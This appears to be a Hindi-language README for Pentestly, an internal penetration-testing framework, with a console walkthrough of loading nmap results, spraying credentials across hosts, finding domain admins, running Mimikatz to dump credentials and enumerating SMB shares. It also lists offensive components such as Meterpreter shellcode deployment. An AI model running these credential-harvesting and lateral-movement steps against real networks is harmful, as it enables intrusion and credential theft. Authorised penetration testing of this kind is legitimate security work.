Python और Powershell आंतरिक पैठ परीक्षण ढांचा
Pentestly, पेनिट्रेशन परीक्षणों में उपयोग के लिए विस्तारित Python टूल्स का एक संयोजन है। लक्ष्य एक परिचित उपयोगकर्ता इंटरफ़ेस का उपयोग करना है, साथ ही Python की शक्ति के साथ फ्रेमवर्क में योगदान को आसान बनाना है।
ब्लॉग पोस्ट: Pentestly Framework: When Pentesting Meets Python and Powershell
लेखक: @ctfhacker / Cory Duplantis
Pentestly, दिग्गजों के कंधों पर खड़ा है। नीचे Pentestly में उपयोग किए जाने वाले वर्तमान उपकरण दिए गए हैं:
recon-ng - recon-ng के लिए बैकएंड डेटाबेस बहुत खूबसूरती से बनाया गया है और डेटा हेरफेर के लिए Pentestly में इसका लाभ उठाया गया है
wmiexec.py - हमें WMI के माध्यम से PowerShell कमांड को जल्दी और आसानी से निष्पादित करने की अनुमति देता है
smbmap.py - SMB शेयरों की गणना के लिए उपयोगी उपयोगिता
Invoke-Mimikatz.ps1 - PowerShell में Mimikatz का कार्यान्वयन
powercat.ps1 - PowerShell में Netcat जैसी कार्यक्षमता
Invoke-Shellcode.ps1 - PowerShell में Meterpreter तैनात करें
CrackMapExec - Pentestly में सरल Mimikatz सर्वर के लिए प्रेरणा का स्रोत
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly
आइए वर्तमान में लागू किए गए कई कार्यों के माध्यम से चलते हैं।
[pentestly][default] > workspaces list
+------------+
| Workspaces |
+------------+
| default |
+------------+
[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options
Name Current Value Required Description
-------- ------------- -------- -----------
FILENAME /root/PROJECT/full-all-alive.xml yes Path and filename for nmap XML input
[pentestly][project][nmap_xml] > run
क्रेडेंशियल्स वाली फ़ाइल का उपयोग करके लॉगिन का परीक्षण करें
[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run
एकल उपयोगकर्ता नाम पासवर्ड का उपयोग करें
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
IP के एक छोटे उपसमूह पर क्रेडेंशियल्स का उपयोग करें अर्थात तालिका में पाए गए 192.168.8.0/24 पर
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'
[pentestly][project][login] > load get_domain # Notice fuzzy searching - get_domain finds get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options
Name Current Value Required Description
------ ------------- -------- -----------
SOURCE default yes source of input (see 'show info' for details)
[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts
0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1
[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd - DOMAIN ADMIN!
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run
+---------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | | nsportsman | password1! | zojix | | | True | True | login |
+---------------------------------------------------------------------------------------------------------------+
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run
+--------------------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin | TheRealDA | </l33TPassword> | zojix | | | True | True | login |
+--------------------------------------------------------------------------------------------------------------------------+
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})
[pentestly][default][interesting_files] > show pentestly_shares